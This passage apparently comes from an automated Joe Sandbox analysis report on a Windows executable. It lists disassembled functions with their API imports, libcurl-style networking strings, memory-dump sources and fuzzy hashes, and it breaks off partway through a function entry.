Instruction Fuzzy Hash: 5CA1536160DB8A85EA75AF29A5403B9B3A5FB48784F844237DE9D03774DF3CE644C720

Function 00007FF79B73A500 Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 211COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B73A5A8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73A5B9
memcpy.VCRUNTIME140 ref: 00007FF79B73A6F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73A754
memcpy.VCRUNTIME140 ref: 00007FF79B73A771

Strings

8, xrefs: 00007FF79B73A7A3
Excessive server response line length received, %zd bytes. Stripping, xrefs: 00007FF79B73A6D1
response reading failed, xrefs: 00007FF79B73A791
cached response data too big to handle, xrefs: 00007FF79B73A7F1

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcpy$freemalloc
String ID: 8$Excessive server response line length received, %zd bytes. Stripping$cached response data too big to handle$response reading failed
API String ID: 3313557100-1003742340
Opcode ID: 0c6c6a0736584b422a8591f061b5560b5f3385543d772d987b64fcb1468f111b
Instruction ID: b5385f0901a2d938152ea7f14cc285db252d0e160481d0f8c79ae241214f8129
Opcode Fuzzy Hash: 0c6c6a0736584b422a8591f061b5560b5f3385543d772d987b64fcb1468f111b
Instruction Fuzzy Hash: 3681D522608B89C1DA64AB3AE4813ADA3A0FB49B84F844533DF4E47771DF3DD695C350

Function 00007FF79B73794C Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 174COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73798F
memcpy.VCRUNTIME140 ref: 00007FF79B7379B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737A88
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737AF9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737BC2

Strings

Public Key Algorithm: %s, xrefs: 00007FF79B737B92
Public Key Algorithm, xrefs: 00007FF79B737B78
Expire Date, xrefs: 00007FF79B737ACD
Expire Date: %s, xrefs: 00007FF79B737AE7

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3401966785-2901970132
Opcode ID: 675581fe95d70d56e8e3699e3a784245db5b4a778fe3a8afeca15a521e899947
Instruction ID: 3bc8c1fd83d67be239be348baba6ae664f2ac782704e805f93f9100a0210ad84
Opcode Fuzzy Hash: 675581fe95d70d56e8e3699e3a784245db5b4a778fe3a8afeca15a521e899947
Instruction Fuzzy Hash: 3B611851A0828A55EB28A73DA4541B9A762BB0D794FC44737CE5E077F5EE3CE3488320

Function 00007FF79B736DD6 Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736E0F
memcpy.VCRUNTIME140 ref: 00007FF79B736E3A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3401966785-517259162
Opcode ID: d4e23496baadb6999b3355ec43cb5b2942b84d7c3c397044e5b8f182b07cf7af
Instruction ID: 068010425be9eafcaf4a42a6dbca3c9eb209dc75095f153848af8360166b80be
Opcode Fuzzy Hash: d4e23496baadb6999b3355ec43cb5b2942b84d7c3c397044e5b8f182b07cf7af
Instruction Fuzzy Hash: FA61F651A0C68A45EB3DA73DA4541B9A762BF09794F844737CA1F077B5DE3CE24C8320

Function 00007FF79B730E80 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF79B7144E8), ref: 00007FF79B731010
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF79B7144E8), ref: 00007FF79B731047
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF79B7144E8), ref: 00007FF79B73106E

Strings

Proxy-, xrefs: 00007FF79B73101E, 00007FF79B7310CA
HTTP, xrefs: 00007FF79B730E96
%sAuthorization: NTLM %s, xrefs: 00007FF79B731028, 00007FF79B7310D4
NTLM, xrefs: 00007FF79B730E86

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: %sAuthorization: NTLM %s$HTTP$NTLM$Proxy-
API String ID: 1294909896-3948863929
Opcode ID: 72266c120b509359db8940e29d2bafec9ecaf846b70da79a858558816950a900
Instruction ID: d31aca0421f62539405d31ada918d957fc11d7c25cfbac0361a0a61d9bd119e2
Opcode Fuzzy Hash: 72266c120b509359db8940e29d2bafec9ecaf846b70da79a858558816950a900
Instruction Fuzzy Hash: 37617132A09B8985E7709F29E8443AAB3A5F748B84F840237DA8D47778DF3CD645C721

Function 00007FF79B727B10 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 111stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6FAB20: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FAB64

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B727C2D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B727C85
memcpy.VCRUNTIME140 ref: 00007FF79B727CAA

Strings

Session:, xrefs: 00007FF79B727B9E
Got a blank Session ID, xrefs: 00007FF79B727BD7
Got RTSP Session ID Line [%s], but wanted ID [%s], xrefs: 00007FF79B727C3E
CSeq:, xrefs: 00007FF79B727B2D
: %ld, xrefs: 00007FF79B727B51
Unable to read the CSeq header: [%s], xrefs: 00007FF79B727B82

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: __stdio_common_vsscanfmallocmemcpystrncmp
String ID: : %ld$CSeq:$Got RTSP Session ID Line [%s], but wanted ID [%s]$Got a blank Session ID$Session:$Unable to read the CSeq header: [%s]
API String ID: 1392894463-1168109407
Opcode ID: 5dbef2c0e756209cfb9fc127f82bb29073db9982edaea3d0de072ac830874615
Instruction ID: 0511d9e07693f74400c1567858187f9e5f5ca8b29f65a12d8786436e5ad2a014
Opcode Fuzzy Hash: 5dbef2c0e756209cfb9fc127f82bb29073db9982edaea3d0de072ac830874615
Instruction Fuzzy Hash: 50418925A0C68A52EB30AB3995403B9B7A1EF49BC4FC44233DA5D473F5DE2CEA45C720

Function 00007FF79B73BC20 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 252stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73BCB8
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73BD14
strchr.VCRUNTIME140 ref: 00007FF79B73BEFC
strchr.VCRUNTIME140 ref: 00007FF79B73BF6A

Strings

APM0123456789:, xrefs: 00007FF79B73BEF5
<DIR>, xrefs: 00007FF79B73BE40
0123456789-, xrefs: 00007FF79B73BF63

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$mallocrealloc
String ID: 0123456789-$<DIR>$APM0123456789:
API String ID: 359134164-4291660576
Opcode ID: 047adec88dde980229124f4fd7082d4da4df1b56da47dff766f1abbd12e4aa1d
Instruction ID: ec1e0a3f106c46edf7564f93f28d138ef840f01f8360ae1223a1e20b099d2589
Opcode Fuzzy Hash: 047adec88dde980229124f4fd7082d4da4df1b56da47dff766f1abbd12e4aa1d
Instruction Fuzzy Hash: F0B14336A0874A86EB34AF39E050339B7A0FB48B48F944636DE4D473B4DF39E558C660

Function 00007FF79B70D370 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 227networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70D3CA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70D4CE
WSAIoctl.WS2_32 ref: 00007FF79B70D627
setsockopt.WS2_32 ref: 00007FF79B70D64F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B70D746

Strings

Failed to alloc scratch buffer!, xrefs: 00007FF79B70D4E0
We are completely uploaded and fine, xrefs: 00007FF79B70D6BA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: malloc$Ioctlsetsockopt
String ID: Failed to alloc scratch buffer!$We are completely uploaded and fine
API String ID: 3352517165-607151321
Opcode ID: e2ceac293bc38cfc6401fe599847d51af5e2f73ddbacb73f764438157330c9ce
Instruction ID: 158112cad9c132ab925288ea4c780a6e6a50db775d119ac8d38b34f7f551b377
Opcode Fuzzy Hash: e2ceac293bc38cfc6401fe599847d51af5e2f73ddbacb73f764438157330c9ce
Instruction Fuzzy Hash: 2DB17532A08B8A85EB75AF38D4443F9B7A1EB48B58F480237CE5D067B5DF389595C720

Function 00007FF79B72DEF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72DF37
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DF9B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72E0CF

Part of subcall function 00007FF79B71C080: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF79B70340F), ref: 00007FF79B71C0AE

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72DFCE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72E10D

Strings

Failed sending Gopher request, xrefs: 00007FF79B72E0D5
%s?%s, xrefs: 00007FF79B72DF29

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: %s?%s$Failed sending Gopher request
API String ID: 111713529-132698833
Opcode ID: a013fedfb617cc9a1fc5f7efd404d02ecf69d67da94e41bc437126c761a08cd8
Instruction ID: e14740e048883d02fa67c01ba6a37a5b6358fc8275fa22c7c8a195b5015a32df
Opcode Fuzzy Hash: a013fedfb617cc9a1fc5f7efd404d02ecf69d67da94e41bc437126c761a08cd8
Instruction Fuzzy Hash: C351A921A0DA8A81E635AB7DA8401A9E390FB4D7E4F940333DE6D477F5DE3CD6428714

Function 00007FF79B6EAB70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC26C
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EC29A
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EC2A8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC2E2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC333

Strings

value, xrefs: 00007FF79B6EC1D8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 97e38a9986d9bdf8435950d5b4a80c9bd010422f81a48876227f4709c98979ce
Instruction ID: e40cf928f27f81146e4524e44cac09a573a654b1cd557db38fa59cf176d845e9
Opcode Fuzzy Hash: 97e38a9986d9bdf8435950d5b4a80c9bd010422f81a48876227f4709c98979ce
Instruction Fuzzy Hash: F261CB22A18A8985FB20EBBCE4443ED6762FB453A4F401331DA6D46AF5DF7DE195C310

Function 00007FF79B6E94D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EA9DD
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EAA0B
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EAA19
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EAA53
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EAAA4

Strings

value, xrefs: 00007FF79B6EA949

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy
String ID: value
API String ID: 1346393832-494360628
Opcode ID: 1df533f3d1511cc28e379b8087a97bc006e143fa80d0134b1a7219debd586b90
Instruction ID: 6e8ba5b055941b5a55d58b7be82953a849a28a5ea700872862b57f720905c3d5
Opcode Fuzzy Hash: 1df533f3d1511cc28e379b8087a97bc006e143fa80d0134b1a7219debd586b90
Instruction Fuzzy Hash: B261C632A18A8985EB20EB7CE8443ED6762EB453A4F504331DA6D06AF5DF7DE291C310

Function 00007FF79B726BC0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF79B726BF6
_open.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B726C4B
_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF79B726CBC
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B726CC9
_close.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B726DDB

Strings

Can't get the size of %s, xrefs: 00007FF79B726CD2
Can't open %s for writing, xrefs: 00007FF79B726C5B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _close$_fstat64_openstrchr
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 423814720-3544860555
Opcode ID: d58b5c5ccc483598e4832854e43a540fe0e2e1d4e81638e85a20253436b34479
Instruction ID: b43c21cb853bb21330dba79500ffac9741143cccc0108a8bde12489763b23361
Opcode Fuzzy Hash: d58b5c5ccc483598e4832854e43a540fe0e2e1d4e81638e85a20253436b34479
Instruction Fuzzy Hash: 68518661708A8E81EE35BB3994502B9A391FB8CBD0F844237DE5D473B5DE3CE6419720

Function 00007FF79B72EE30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136stringCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B72EE40
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: freemalloc$_strdupstrtol
String ID: %%%02x
API String ID: 2999891020-4020994737
Opcode ID: bdf0f05f73a0858c45583dfff4fa5f00b36286e0bbb8b8d5827946e5d5b25b73
Instruction ID: df6241e589753f1c41c5eea9ff4f777d2d9be28079a5b3554be057ce81a45b8b
Opcode Fuzzy Hash: bdf0f05f73a0858c45583dfff4fa5f00b36286e0bbb8b8d5827946e5d5b25b73
Instruction Fuzzy Hash: 1651C212A0D28A45FB76AB399010379AA91DF4D790F880777DA9E0A7F1DE3DE6448331

Function 00007FF79B72EE06 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EE13
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc$_strdup
String ID: %%%02x
API String ID: 1496848336-4020994737
Opcode ID: a8ab935ad872045f021220b571eaedcfb8e3157dc64c221794b8d50643bb9222
Instruction ID: 2a1e05c5cc967cd29637770d1648a3b814e74c0f3b88b276276258876bfe25b5
Opcode Fuzzy Hash: a8ab935ad872045f021220b571eaedcfb8e3157dc64c221794b8d50643bb9222
Instruction Fuzzy Hash: C241C51290D68A45FA76AB399014379AB91DF4D750F880777DE9E063F1DE3DE6448330

Function 00007FF79B736B6E Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B736B71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Part of subcall function 00007FF79B700240: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B700292

Strings

Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 111713529-517259162
Opcode ID: d10775beb8856261a6a377fe09b1f7ea7cce4b85b7cdecb8f317ba190c89088c
Instruction ID: c6cbf6662a550379d5608a70fffae90d648cef2bb1bb9397d91fc07033cef30d
Opcode Fuzzy Hash: d10775beb8856261a6a377fe09b1f7ea7cce4b85b7cdecb8f317ba190c89088c
Instruction Fuzzy Hash: 6A316691A0978A45EB25AB7DA4441F9A7626F0D784FC40A37DD0E17376DE3CA3488321

Function 00007FF79B6E1BA0 Relevance: 12.3, APIs: 8, Instructions: 277COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF79B6E1D6A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E1E2D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E1E7B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E1EBB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E1F0A

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$memcpy
String ID:
API String ID: 3063020102-0
Opcode ID: 25bffaccdbf079d0b25b2b393a5857c2e1190dff62f2c70122fadb49677ce188
Instruction ID: d2ba399346ba7105218302176dfbc20fa69848e6ba8fd0ac0265263eb9d1dffc
Opcode Fuzzy Hash: 25bffaccdbf079d0b25b2b393a5857c2e1190dff62f2c70122fadb49677ce188
Instruction Fuzzy Hash: 83B1D522B18B4985EB20EBB9E4043AD6762EB487A4F804631DE7D07BE5CF3DE255D350

Function 00007FF79B736C5D Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 165COMMON

Download Yara Rule

APIs

